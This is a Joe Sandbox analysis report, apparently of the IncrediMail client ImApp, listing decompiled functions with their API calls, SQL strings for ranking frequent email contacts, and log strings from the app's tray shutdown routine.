#675.IMUTILSU(00000000,RmlType,00000000,00000000,RmlNum,?,00000000,00000001,00000000,00000000,RmlType,?,00000000,00000001,00000000,00000000), ref: 0041B154
#1348.IMUTILSU(00000000,RmlType,00000000,00000000,RmlNum,?,00000000,00000001,00000000,00000000,RmlType,?,00000000,00000001,00000000,00000000), ref: 0041B15B
#675.IMUTILSU(00000000,RmlNum,00000000,00000000,RmlType,00000000,00000000,RmlNum,?,00000000,00000001,00000000,00000000,RmlType,?,00000000), ref: 0041B167
#1348.IMUTILSU(00000000,RmlNum,00000000,00000000,RmlType,00000000,00000000,RmlNum,?,00000000,00000001,00000000,00000000,RmlType,?,00000000), ref: 0041B16E
#6735.MFC80U(IMSys,00000000,RmlNum,?,00000000,00000001,00000000,00000000,RmlType,?,00000000,00000001,00000000,00000000,MinShow,?), ref: 0041B190
#310.MFC80U ref: 0041B19E
#310.MFC80U ref: 0041B1AD
#2311.MFC80U(?,00426D90,00000000), ref: 0041B1CB
#1421.IMUTILSU(00432710,?,00000000), ref: 0041B1DC
#3391.MFC80U(00000000,MPShown,?,00000000,00000001,00000000), ref: 0041B1E8
#1356.IMUTILSU(?,00000000), ref: 0041B1F4
#3391.MFC80U ref: 0041B200
#1356.IMUTILSU(?,00000000), ref: 0041B20C
#3391.MFC80U(AGG,?,00000000,00000001,00000000), ref: 0041B226
#675.IMUTILSU(00000000), ref: 0041B22D
#1409.IMUTILSU(00000000), ref: 0041B234
#578.MFC80U ref: 0041B26A
#578.MFC80U ref: 0041B278
#578.MFC80U ref: 0041B28A

Strings

RmlType, xrefs: 0041B112, 0041B14E
RmlNum, xrefs: 0041B135, 0041B161
MPShown, xrefs: 0041B09E
IMSys, xrefs: 0041B187, 0041B2A6
MinShow, xrefs: 0041B0CB
AGG, xrefs: 0041B21D, 0041B398
MPSHWN, xrefs: 0041B3BD
PTY, xrefs: 0041B424

Memory Dump Source

Source File: 00000007.00000002.3527539028.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.3527472034.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3527618924.0000000000422000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3527704656.0000000000431000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3527768840.0000000000432000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3527803789.0000000000433000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_ImApp.jbxd

Similarity

API ID: #675$#1409$#3391#578$#1348#1356#310$#1421#2311#6735Unothrow_t@std@@@__ehfuncinfo$??2@_time64
String ID: AGG$IMSys$MPSHWN$MPShown$MinShow$PTY$RmlNum$RmlType
API String ID: 4258558522-3530236569
Opcode ID: f62eb576d70a35b1dc06243970b323c019c661ebd70c2a3e09a347e588e49be9
Instruction ID: 515f30589d2585c579f0af9e7373e811261ce6effaa1b366f3be6f557c2678f8
Opcode Fuzzy Hash: f62eb576d70a35b1dc06243970b323c019c661ebd70c2a3e09a347e588e49be9
Instruction Fuzzy Hash: 8CF1A3B1208300AFC314EF65CD85AAFB7E9EF88704F50492EF59583291DB789D45CB9A

Function 020C7BB0 Relevance: 114.1, APIs: 53, Strings: 12, Instructions: 343COMMON

Download Yara Rule

APIs

#310.MFC80U(265105E4), ref: 020C7BF0

Part of subcall function 020C8BA0: #6735.MFC80U(020F1B94,265105E4,?,?,?,?,020EFC5A,000000FF,020C7356,?), ref: 020C8BDE
Part of subcall function 020C8BA0: #899.MFC80U(020F50C8,?,?,020EFC5A,000000FF,020C7356,?), ref: 020C8C0B
Part of subcall function 020C8BA0: #899.MFC80U(ContactID,?,?,020EFC5A,000000FF,020C7356,?), ref: 020C8C1A
Part of subcall function 020C8BA0: #899.MFC80U(, ' ' AS ,?,?,020EFC5A,000000FF,020C7356,?), ref: 020C8C4E
Part of subcall function 020C8BA0: #899.MFC80U(GroupID,?,?,020EFC5A,000000FF,020C7356,?), ref: 020C8C5D

Part of subcall function 020C8C90: #6735.MFC80U(020F1B94,265105E4,?,?,00000000,?,00000000,020F02BA,000000FF,020C7369,?,?,?), ref: 020C8CD3
Part of subcall function 020C8C90: #899.MFC80U(, ' ' AS ), ref: 020C8D0E
Part of subcall function 020C8C90: #899.MFC80U(ContactID), ref: 020C8D1D
Part of subcall function 020C8C90: #899.MFC80U(020F50C8), ref: 020C8D45
Part of subcall function 020C8C90: #899.MFC80U(GroupID), ref: 020C8D54

#310.MFC80U(?,?), ref: 020C7C23

Part of subcall function 020CE320: #310.MFC80U(265105E4,?,?,00000000,020EB9A9,000000FF,020C739F,?), ref: 020CE34A
Part of subcall function 020CE320: #2311.MFC80U(?,%d,,00000001), ref: 020CE36F
Part of subcall function 020CE320: #896.MFC80U(?), ref: 020CE37B
Part of subcall function 020CE320: #2311.MFC80U(?,%d,,00000002), ref: 020CE392
Part of subcall function 020CE320: #896.MFC80U(?), ref: 020CE39E
Part of subcall function 020CE320: #2444.MFC80U(?), ref: 020CE3AF
Part of subcall function 020CE320: #5705.MFC80U(?,00000020), ref: 020CE3C8
Part of subcall function 020CE320: #578.MFC80U ref: 020CE3DA

#310.MFC80U(?), ref: 020C7C40
#310.MFC80U ref: 020C7C4F
#310.MFC80U ref: 020C7C5E
#310.MFC80U ref: 020C7C6D
#310.MFC80U ref: 020C7C7C
#6735.MFC80U(020F1B94), ref: 020C7C90
#2311.MFC80U(?,GROUP BY MemberType, MemberIDHAVING SentCounter >= %d,00000003), ref: 020C7CAD
#776.MFC80U( AND IsFavorite = 1 ), ref: 020C7CC2
#310.MFC80U ref: 020C7CEB
#310.MFC80U ref: 020C7CFA
#6759.MFC80U(?,Select MemberType, MemberID, DisplayName AS MemberName, Sum(Counter) AS SentCounter%2!s!, 1 AS CustomPriority FROM SentEmailsCount,?,?,?,?), ref: 020C7D23
#6759.MFC80U(?,UNIONSelect MemberType, MemberID, DisplayName AS MemberName, Sum(Counter) AS SentCounter%2!s!, 2 AS CustomPriority FROM SentEmai,?,?,?,?), ref: 020C7D46
#774.MFC80U(00000000), ref: 020C7DA1
#578.MFC80U ref: 020C7DAF
#578.MFC80U ref: 020C7DBE
#578.MFC80U ref: 020C7DCD
#578.MFC80U ref: 020C7DDC
#578.MFC80U ref: 020C7DEB
#310.MFC80U ref: 020C7E00
#310.MFC80U ref: 020C7E0F
#6759.MFC80U(00000000,SELECT MemberType, MemberID, Name AS MemberName, Sum(Counter) AS SentCounter%2!s!, 1 AS CustomPriority FROM SentEmailsCount, Group,?,?,?), ref: 020C7E33
#6759.MFC80U(?,UNIONSELECT MemberType, MemberID, Name AS MemberName, Sum(Counter) AS SentCounter%2!s!, 2 AS CustomPriority FROM SentEmailsCount,?,?,?), ref: 020C7E51

Part of subcall function 020C3C60: #6700.MFC80U(265105E4,020FA150,?,00000000,00000000,020EFC5A,000000FF,020E0CAF,?,?,?,00000000), ref: 020C3C99
Part of subcall function 020C3C60: #299.MFC80U(00000000), ref: 020C3CA2
Part of subcall function 020C3C60: #1479.MFC80U(00000001,?,00000000,?,00000000), ref: 020C3CCB

#774.MFC80U(00000000), ref: 020C7EAF
#578.MFC80U ref: 020C7EBD
#578.MFC80U ref: 020C7ECC
#578.MFC80U ref: 020C7EDB
#578.MFC80U ref: 020C7EEA
#578.MFC80U ref: 020C7EF9
#776.MFC80U(ORDER BY SentCounter DESC), ref: 020C7F72
#774.MFC80U(?), ref: 020C7F89
#899.MFC80U(UNION), ref: 020C7FAA
#896.MFC80U(?), ref: 020C7FC1
#896.MFC80U(?), ref: 020C7FCE
#310.MFC80U ref: 020C7FE0
#2311.MFC80U(?,LIMIT %d,?), ref: 020C7FF6
#896.MFC80U(?), ref: 020C8002
#578.MFC80U ref: 020C8011
#578.MFC80U ref: 020C8020
#578.MFC80U ref: 020C802F
#578.MFC80U ref: 020C803E
#578.MFC80U ref: 020C804D
#578.MFC80U ref: 020C805C
#578.MFC80U ref: 020C806B
#578.MFC80U ref: 020C807A
#578.MFC80U ref: 020C8089
#578.MFC80U ref: 020C8098
#578.MFC80U ref: 020C80A7

Strings

SELECT MemberType, MemberID, Name AS MemberName, Sum(Counter) AS SentCounter%2!s!, 1 AS CustomPriority FROM SentEmailsCount, Group, xrefs: 020C7E2D
UNIONSELECT MemberType, MemberID, Name AS MemberName, Sum(Counter) AS SentCounter%2!s!, 2 AS CustomPriority FROM SentEmailsCount, xrefs: 020C7E4B
GROUP BY MemberType, MemberIDHAVING SentCounter >= %d, xrefs: 020C7CA7
ORDER BY SentCounter DESC, xrefs: 020C7F69
SELECT MemberType, MemberID, Name AS MemberName, Sum(Counter) AS SentCounter%s FROM SentEmailsCount, GroupsWHERE MemberID = Grou, xrefs: 020C7F4F
UNION, xrefs: 020C7FA3
LIMIT %d, xrefs: 020C7FF0
UNIONSelect MemberType, MemberID, DisplayName AS MemberName, Sum(Counter) AS SentCounter%2!s!, 2 AS CustomPriority FROM SentEmai, xrefs: 020C7D40
AND IsFavorite = 1 , xrefs: 020C7CB9
Select MemberType, MemberID, DisplayName AS MemberName, Sum(Counter) AS SentCounter%2!s!, 1 AS CustomPriority FROM SentEmailsCount, xrefs: 020C7D1D
Select MemberType, MemberID, DisplayName AS MemberName, Sum(Counter) AS SentCounter%s FROM SentEmailsCount, ContactsWHERE (sourc, xrefs: 020C7F22
ORDER BY CustomPriority ASC, SentCounter DESC, xrefs: 020C7EFF

Memory Dump Source

Source File: 00000007.00000002.3528484835.00000000020C1000.00000020.00000001.01000000.00000010.sdmp, Offset: 020C0000, based on PE: true

Associated: 00000007.00000002.3528458320.00000000020C0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.3528575103.00000000020F1000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.3528599955.0000000002104000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.3528699503.0000000002106000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_20c0000_ImApp.jbxd

Similarity

API ID: #578$#310$#899$#896$#2311#6759$#6735#774$#776$#1479#2444#299#5705#6700
String ID: LIMIT %d$ AND IsFavorite = 1 $GROUP BY MemberType, MemberIDHAVING SentCounter >= %d$ORDER BY CustomPriority ASC, SentCounter DESC$ORDER BY SentCounter DESC$SELECT MemberType, MemberID, Name AS MemberName, Sum(Counter) AS SentCounter%2!s!, 1 AS CustomPriority FROM SentEmailsCount, Group$SELECT MemberType, MemberID, Name AS MemberName, Sum(Counter) AS SentCounter%s FROM SentEmailsCount, GroupsWHERE MemberID = Grou$Select MemberType, MemberID, DisplayName AS MemberName, Sum(Counter) AS SentCounter%2!s!, 1 AS CustomPriority FROM SentEmailsCount$Select MemberType, MemberID, DisplayName AS MemberName, Sum(Counter) AS SentCounter%s FROM SentEmailsCount, ContactsWHERE (sourc$UNION$UNIONSELECT MemberType, MemberID, Name AS MemberName, Sum(Counter) AS SentCounter%2!s!, 2 AS CustomPriority FROM SentEmailsCount$UNIONSelect MemberType, MemberID, DisplayName AS MemberName, Sum(Counter) AS SentCounter%2!s!, 2 AS CustomPriority FROM SentEmai
API String ID: 1388742616-1543085178
Opcode ID: a262f93c2f195a897bfcca2384fc2d42ef51f5ae7f26731e7571b2a6bf6bab0e
Instruction ID: 84eafdda86088c971673c0041bba403ad74cc638dca3128b95a5cabbbc1bed46
Opcode Fuzzy Hash: a262f93c2f195a897bfcca2384fc2d42ef51f5ae7f26731e7571b2a6bf6bab0e
Instruction Fuzzy Hash: D0E11775598380DFD355CB24C848BAEFBE5BBD9704F08880DFA9682291DB75A908CF53

Function 00407010 Relevance: 110.6, APIs: 39, Strings: 24, Instructions: 397windowCOMMON

Download Yara Rule

APIs

#1067.MFC80U(FC8A6036), ref: 00407037
#314.MFC80U(00000000,FC8A6036), ref: 00407041
#1916.IMUTILSU(HideModeLog,CImTray::Close.,HideModeLog,00000000), ref: 0040705F
#1916.IMUTILSU(HideModeLog,Fast return in case we cannot be closed.,HideModeLog,00000000), ref: 00407095
#6751.MFC80U(00000000,?), ref: 004070C2
#810.IMUTILSU(0000003D,00000001,00000000), ref: 004070D5
#1326.IMUTILSU(0000003D,00000001,00000000), ref: 004070DC
#1916.IMUTILSU(HideModeLog,Stop classification if in progress,HideModeLog,00000000), ref: 00407105
#1916.IMUTILSU(HideModeLog,FireTrayClosing,HideModeLog,?), ref: 00407160
#1916.IMUTILSU(HideModeLog,PromptForDisconnect,HideModeLog,00000000), ref: 00407188
#1070.IMUTILSU ref: 0040719E
#1916.IMUTILSU(HideModeLog,Remove incnrediMail icon from the systray.,HideModeLog,00000000), ref: 004071C8
#390.IMUTILSU ref: 004071D0
SendMessageW.USER32(?,00008086,00000000,00000000), ref: 004071E2
SetEvent.KERNEL32(?), ref: 00407202
#242.IMUTILSU(00000000,00000BB8), ref: 0040720E
#1916.IMUTILSU(HideModeLog,CloseMessageStore,HideModeLog,00000000), ref: 00407240
#1916.IMUTILSU(HideModeLog,CloseDBInfoManager,HideModeLog,00000000), ref: 0040726E
#1916.IMUTILSU(HideModeLog,CloseService,HideModeLog,00000000), ref: 0040729C
#1916.IMUTILSU(HideModeLog,CloseRulesManager,HideModeLog,00000000), ref: 004072CA
#1916.IMUTILSU(HideModeLog,CloseJunkFilterPro,HideModeLog,00000000), ref: 004072F8
#1916.IMUTILSU(HideModeLog,CloseSpooler,HideModeLog,00000000), ref: 00407326
#1916.IMUTILSU(HideModeLog,CloseUserAccounts,HideModeLog,00000000), ref: 00407354
#1916.IMUTILSU(HideModeLog,CloseNotifierManager,HideModeLog,00000000), ref: 00407382
#1916.IMUTILSU(HideModeLog,CloseWebNotificationMgr,HideModeLog,00000000), ref: 004073B0
#1916.IMUTILSU(HideModeLog,CloseJunkFilter,HideModeLog,00000000), ref: 004073DE
#1916.IMUTILSU(HideModeLog,StopCleanupThread,HideModeLog,00000000), ref: 0040740C
#1916.IMUTILSU(HideModeLog,call CleanupThread,HideModeLog,00000000), ref: 00407447

Part of subcall function 00405E50: #5.IMUTILSU(FC8A6036), ref: 00405E79
Part of subcall function 00405E50: #219.IMUTILSU(?), ref: 00405E8F
Part of subcall function 00405E50: #310.MFC80U(?), ref: 00405E9C
Part of subcall function 00405E50: #1679.IMUTILSU(?,00000000,00000000), ref: 00405EB0
Part of subcall function 00405E50: #3391.MFC80U(*.*,00000000,?,00000000,FC8A6036), ref: 00405EC6
Part of subcall function 00405E50: #2021.IMUTILSU(00000000), ref: 00405ECD
Part of subcall function 00405E50: #578.MFC80U ref: 00405EE0
Part of subcall function 00405E50: #731.IMUTILSU(?), ref: 00405EEB
Part of subcall function 00405E50: _time64.MSVCR80 ref: 00405EF9
Part of subcall function 00405E50: #810.IMUTILSU(0000003A,00000000,00000000), ref: 00405F0B
Part of subcall function 00405E50: #1326.IMUTILSU(0000003A,00000000,00000000), ref: 00405F12
Part of subcall function 00405E50: #65.IMUTILSU(?), ref: 00405F36

#1916.IMUTILSU(HideModeLog,B4IM()->Terminate();,HideModeLog,00000000), ref: 0040746D
#1294.IMUTILSU ref: 00407475
#1296.IMUTILSU ref: 0040747C
#1916.IMUTILSU(HideModeLog,Delete all notify objects.,HideModeLog,00000000), ref: 00407492
#312.IMUTILSU(00000001), ref: 0040749F
#1916.IMUTILSU(HideModeLog,Destroy IncrediAB,HideModeLog,00000000), ref: 004074B5
#2.IMABU(00000001,00000001,HideModeLog,Destroy IncrediAB,HideModeLog,00000000), ref: 004074BE
#1916.IMUTILSU(HideModeLog,Clean the static pointer.,HideModeLog,00000000), ref: 004074DC
#1916.IMUTILSU(HideModeLog,Reset the flag indicating the tray has been initialized,HideModeLog,00000000,HideModeLog,Clean the static pointer.,HideModeLog,00000000), ref: 004074F7
CloseHandle.KERNEL32(?), ref: 0040751B
#6751.MFC80U(00000000,?), ref: 00407551

Strings

StopCleanupThread, xrefs: 00407402
CloseJunkFilterPro, xrefs: 004072EE
B4IM()->Terminate();, xrefs: 00407463
Reset the flag indicating the tray has been initialized, xrefs: 004074E7
CloseWebNotificationMgr, xrefs: 004073A6
CloseDBInfoManager, xrefs: 00407264
HideModeLog, xrefs: 00407050, 0040705A, 00407086, 00407090, 004070F6, 00407100, 00407151, 0040715B, 00407179, 00407183, 004071B9, 004071C3, 00407231, 0040723B, 0040725F, 00407269, 0040728D, 00407297, 004072BB, 004072C5, 004072E9, 004072F3, 00407317, 00407321, 00407345, 0040734F, 00407373, 0040737D, 004073A1, 004073AB, 004073CF, 004073D9, 004073FD, 00407407, 00407438, 00407442, 0040745E, 00407468, 00407483, 0040748D, 004074A6, 004074B0, 004074CD, 004074D7, 004074E2, 004074EC
Remove incnrediMail icon from the systray., xrefs: 004071BE
Clean the static pointer., xrefs: 004074D2
Fast return in case we cannot be closed., xrefs: 0040708B
Destroy IncrediAB, xrefs: 004074AB
CloseRulesManager, xrefs: 004072C0
FireTrayClosing, xrefs: 00407156
Stop classification if in progress, xrefs: 004070FB
CImTray::Close., xrefs: 00407055
call CleanupThread, xrefs: 0040743D
CloseUserAccounts, xrefs: 0040734A
CloseSpooler, xrefs: 0040731C
Delete all notify objects., xrefs: 00407488
CloseMessageStore, xrefs: 00407236
CloseJunkFilter, xrefs: 004073D4
CloseNotifierManager, xrefs: 00407378
CloseService, xrefs: 00407292
PromptForDisconnect, xrefs: 0040717E

Memory Dump Source

Source File: 00000007.00000002.3527539028.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.3527472034.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3527618924.0000000000422000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3527704656.0000000000431000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3527768840.0000000000432000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3527803789.0000000000433000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_ImApp.jbxd

Similarity

API ID: #1916$#1326#6751#810$#1067#1070#1294#1296#1679#2021#219#242#310#312#314#3391#390#578#731CloseEventHandleMessageSend_time64
String ID: B4IM()->Terminate();$CImTray::Close.$Clean the static pointer.$CloseDBInfoManager$CloseJunkFilter$CloseJunkFilterPro$CloseMessageStore$CloseNotifierManager$CloseRulesManager$CloseService$CloseSpooler$CloseUserAccounts$CloseWebNotificationMgr$Delete all notify objects.$Destroy IncrediAB$Fast return in case we cannot be closed.$FireTrayClosing$HideModeLog$PromptForDisconnect$Remove incnrediMail icon from the systray.$Reset the flag indicating the tray has been initialized$Stop classification if in progress$StopCleanupThread$call CleanupThread
API String ID: 3993178326-739380170
Opcode ID: 3d1adbed04c43c85511216bad653b2dd09393b6c3dd8c3e4d2760558bd066ce1
Instruction ID: 7d071c4c4aab53b39fea3abe922631460fdba02a3c7d0f5bc724b6dca0df7a31
Opcode Fuzzy Hash: 3d1adbed04c43c85511216bad653b2dd09393b6c3dd8c3e4d2760558bd066ce1
Instruction Fuzzy Hash: B2D1B531B843216BC210FE19ED42F5A76709F40F09FA6455AF9147B3D2C7ADEA02869E

Function 020C80D0 Relevance: 110.6, APIs: 51, Strings: 12, Instructions: 341COMMON

Download Yara Rule

APIs

#310.MFC80U(265105E4), ref: 020C8110

Part of subcall function 020C8BA0: #6735.MFC80U(020F1B94,265105E4,?,?,?,?,020EFC5A,000000FF,020C7356,?), ref: 020C8BDE
Part of subcall function 020C8BA0: #899.MFC80U(020F50C8,?,?,020EFC5A,000000FF,020C7356,?), ref: 020C8C0B
Part of subcall function 020C8BA0: #899.MFC80U(ContactID,?,?,020EFC5A,000000FF,020C7356,?), ref: 020C8C1A
Part of subcall function 020C8BA0: #899.MFC80U(, ' ' AS ,?,?,020EFC5A,000000FF,020C7356,?), ref: 020C8C4E
Part of subcall function 020C8BA0: #899.MFC80U(GroupID,?,?,020EFC5A,000000FF,020C7356,?), ref: 020C8C5D

Part of subcall function 020C8C90: #6735.MFC80U(020F1B94,265105E4,?,?,00000000,?,00000000,020F02BA,000000FF,020C7369,?,?,?), ref: 020C8CD3
Part of subcall function 020C8C90: #899.MFC80U(, ' ' AS ), ref: 020C8D0E
Part of subcall function 020C8C90: #899.MFC80U(ContactID), ref: 020C8D1D
Part of subcall function 020C8C90: #899.MFC80U(020F50C8), ref: 020C8D45
Part of subcall function 020C8C90: #899.MFC80U(GroupID), ref: 020C8D54

#310.MFC80U(?,?), ref: 020C8143
#310.MFC80U ref: 020C8152
#310.MFC80U ref: 020C8161
#310.MFC80U ref: 020C8170
#6735.MFC80U(020F1B94), ref: 020C8184
#2311.MFC80U(?,GROUP BY MemberType, MemberIDHAVING SentCounter BETWEEN %d and %d,00000000,00000003), ref: 020C81B2
#310.MFC80U ref: 020C81BB
#776.MFC80U( AND IsFavorite = 1 ,?,?,?,?,?,?), ref: 020C81E4
#310.MFC80U(?,?,?,?,?,?), ref: 020C820B
#310.MFC80U(?,?,?,?,?,?), ref: 020C821A
#6759.MFC80U(?,Select MemberType, MemberID, DisplayName AS MemberName, Sum(Counter) AS SentCounter, TotalSentMsgCounter%2!s!, 1 AS CustomPriority,?,?,?,?,?,?,?,?,?,?), ref: 020C8243
#6759.MFC80U(?,UNIONSelect MemberType, MemberID, DisplayName AS MemberName, Sum(Counter) AS SentCounter, TotalSentMsgCounter%2!s!, 2 AS CustomP,?,?,?,?,?,?,?,?,?,?), ref: 020C8266
#774.MFC80U(00000000), ref: 020C82C0
#578.MFC80U ref: 020C82CF
#578.MFC80U ref: 020C82DE
#578.MFC80U ref: 020C82ED
#578.MFC80U ref: 020C82FC
#578.MFC80U ref: 020C830B
#310.MFC80U(?,?,?,?,?,?), ref: 020C831E
#310.MFC80U(?,?,?,?,?,?), ref: 020C832D
#6759.MFC80U(?,SELECT MemberType, MemberID, Name AS MemberName, Sum(Counter) AS SentCounter, TotalSentMsgCounter%2!s!, 1 AS CustomPriority FROM S,?,?,?,?,?,?,?,?,?), ref: 020C8351
#6759.MFC80U(?,UNIONSELECT MemberType, MemberID, Name AS MemberName, Sum(Counter) AS SentCounter, TotalSentMsgCounter%2!s!, 2 AS CustomPriority,?,?,?,?,?,?,?,?,?), ref: 020C836C

Part of subcall function 020C3C60: #6700.MFC80U(265105E4,020FA150,?,00000000,00000000,020EFC5A,000000FF,020E0CAF,?,?,?,00000000), ref: 020C3C99
Part of subcall function 020C3C60: #299.MFC80U(00000000), ref: 020C3CA2
Part of subcall function 020C3C60: #1479.MFC80U(00000001,?,00000000,?,00000000), ref: 020C3CCB

#774.MFC80U(00000000), ref: 020C83C7
#578.MFC80U ref: 020C83D5
#578.MFC80U ref: 020C83E4
#578.MFC80U ref: 020C83F3
#578.MFC80U ref: 020C8402
#578.MFC80U ref: 020C8411
#776.MFC80U(ORDER BY TotalSentMsgCounter DESC,?,?,?,?,?,?), ref: 020C8486
#774.MFC80U(?,?,?,?,?,?,?), ref: 020C849D
#899.MFC80U(UNION,?,?,?,?,?,?), ref: 020C84BE
#896.MFC80U(?,?,?,?,?,?,?), ref: 020C84D5
#896.MFC80U(?,?,?,?,?,?,?), ref: 020C84E2
#310.MFC80U(?,?,?,?,?,?), ref: 020C84F4
#2311.MFC80U(?,LIMIT %d,?,?,?,?,?,?,?), ref: 020C850A
#896.MFC80U(?), ref: 020C8516
#578.MFC80U ref: 020C8525
#578.MFC80U(?,?,?,?,?,?), ref: 020C8534
#578.MFC80U(?,?,?,?,?,?), ref: 020C8543
#578.MFC80U(?,?,?,?,?,?), ref: 020C8552
#578.MFC80U(?,?,?,?,?,?), ref: 020C8561
#578.MFC80U(?,?,?,?,?,?), ref: 020C8570
#578.MFC80U(?,?,?,?,?,?), ref: 020C857F
#578.MFC80U(?,?,?,?,?,?), ref: 020C858E
#578.MFC80U(?,?,?,?,?,?), ref: 020C859D
#578.MFC80U(?,?,?,?,?,?), ref: 020C85AC

Strings

ORDER BY CustomPriority ASC, TotalSentMsgCounter DESC, xrefs: 020C8417
ORDER BY TotalSentMsgCounter DESC, xrefs: 020C847D
UNION, xrefs: 020C84B7
LIMIT %d, xrefs: 020C8504
Select MemberType, MemberID, DisplayName AS MemberName, Sum(Counter) AS SentCounter, TotalSentMsgCounter%s FROM SentEmailsCount, C, xrefs: 020C8436
AND IsFavorite = 1 , xrefs: 020C81DB
UNIONSELECT MemberType, MemberID, Name AS MemberName, Sum(Counter) AS SentCounter, TotalSentMsgCounter%2!s!, 2 AS CustomPriority, xrefs: 020C8366
GROUP BY MemberType, MemberIDHAVING SentCounter BETWEEN %d and %d, xrefs: 020C81AC
SELECT MemberType, MemberID, Name AS MemberName, Sum(Counter) AS SentCounter, TotalSentMsgCounter%2!s!, 1 AS CustomPriority FROM S, xrefs: 020C834B
Select MemberType, MemberID, DisplayName AS MemberName, Sum(Counter) AS SentCounter, TotalSentMsgCounter%2!s!, 1 AS CustomPriority, xrefs: 020C823D
UNIONSelect MemberType, MemberID, DisplayName AS MemberName, Sum(Counter) AS SentCounter, TotalSentMsgCounter%2!s!, 2 AS CustomP, xrefs: 020C8260
SELECT MemberType, MemberID, Name AS MemberName, Sum(Counter) AS SentCounter, TotalSentMsgCounter%s FROM SentEmailsCount, Groups, xrefs: 020C8463

Memory Dump Source

Source File: 00000007.00000002.3528484835.00000000020C1000.00000020.00000001.01000000.00000010.sdmp, Offset: 020C0000, based on PE: true

Associated: 00000007.00000002.3528458320.00000000020C0000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.3528575103.00000000020F1000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.3528599955.0000000002104000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000007.00000002.3528699503.0000000002106000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_20c0000_ImApp.jbxd

Similarity

API ID: #578$#310$#899$#6759$#6735#774#896$#2311#776$#1479#299#6700
String ID: LIMIT %d$ AND IsFavorite = 1 $GROUP BY MemberType, MemberIDHAVING SentCounter BETWEEN %d and %d$ORDER BY CustomPriority ASC, TotalSentMsgCounter DESC$ORDER BY TotalSentMsgCounter DESC$SELECT MemberType, MemberID, Name AS MemberName, Sum(Counter) AS SentCounter, TotalSentMsgCounter%2!s!, 1 AS CustomPriority FROM S$SELECT MemberType, MemberID, Name AS MemberName, Sum(Counter) AS SentCounter, TotalSentMsgCounter%s FROM SentEmailsCount, Groups$Select MemberType, MemberID, DisplayName AS MemberName, Sum(Counter) AS SentCounter, TotalSentMsgCounter%2!s!, 1 AS CustomPriority$Select MemberType, MemberID, DisplayName AS MemberName, Sum(Counter) AS SentCounter, TotalSentMsgCounter%s FROM SentEmailsCount, C$UNION$UNIONSELECT MemberType, MemberID, Name AS MemberName, Sum(Counter) AS SentCounter, TotalSentMsgCounter%2!s!, 2 AS CustomPriority$UNIONSelect MemberType, MemberID, DisplayName AS MemberName, Sum(Counter) AS SentCounter, TotalSentMsgCounter%2!s!, 2 AS CustomP
API String ID: 940783496-3548266939
Opcode ID: 74fb441a36949f37151c80110bb56edcb7a865641798da85eea06b3e86beeef9
Instruction ID: 037fbaf016a5dbf5b8d17a0b92499c20c411704f21aade7b35827e4f44bc62a7
Opcode Fuzzy Hash: 74fb441a36949f37151c80110bb56edcb7a865641798da85eea06b3e86beeef9
Instruction Fuzzy Hash: A1E13875588380DFD355DB24C948BAFFBE4BBD9704F04490DFA8A82291DB79A908CB53

Function 00405810 Relevance: 100.1, APIs: 45, Strings: 12, Instructions: 329windowCOMMON

Download Yara Rule

APIs

#1067.MFC80U(FC8A6036), ref: 00405837
#314.MFC80U(00000000,FC8A6036), ref: 00405841
#6735.MFC80U(?,00000000,FC8A6036), ref: 00405855
#1472.MFC80U(UILanguage), ref: 0040586D
#390.IMUTILSU ref: 0040587F
PostMessageW.USER32(?,00008021,00000000,00000000), ref: 0040588F
#1472.MFC80U(JunkFilterStateChanged), ref: 004058A3
#810.IMUTILSU(0000006F,00000000), ref: 004058B9
#1323.IMUTILSU(0000006F,00000000), ref: 004058C0
#810.IMUTILSU(0000006F,00000001,00000000,0000006F,00000000), ref: 004058D1
#1326.IMUTILSU(0000006F,00000001,00000000,0000006F,00000000), ref: 004058D8
#578.MFC80U ref: 00405C2E
#6751.MFC80U(00000000,?), ref: 00405C59

Strings

DataPathChanged, xrefs: 00405910
UILanguage, xrefs: 00405864
UseHotkeysChanged, xrefs: 00405A83
JunkFilterStateChanged, xrefs: 0040589A
DataFolder, xrefs: 0040594B
IntervalChanged, xrefs: 004059D0
AutoReplyStateChanged, xrefs: 00405AB5
/%s:%s, xrefs: 00405954
open, xrefs: 00405992
SkinChanged, xrefs: 004058E2
RegInboxImportEnded, xrefs: 00405B14
ImLpp.exe, xrefs: 00405965

Memory Dump Source

Source File: 00000007.00000002.3527539028.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.3527472034.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3527618924.0000000000422000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3527704656.0000000000431000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3527768840.0000000000432000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3527803789.0000000000433000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

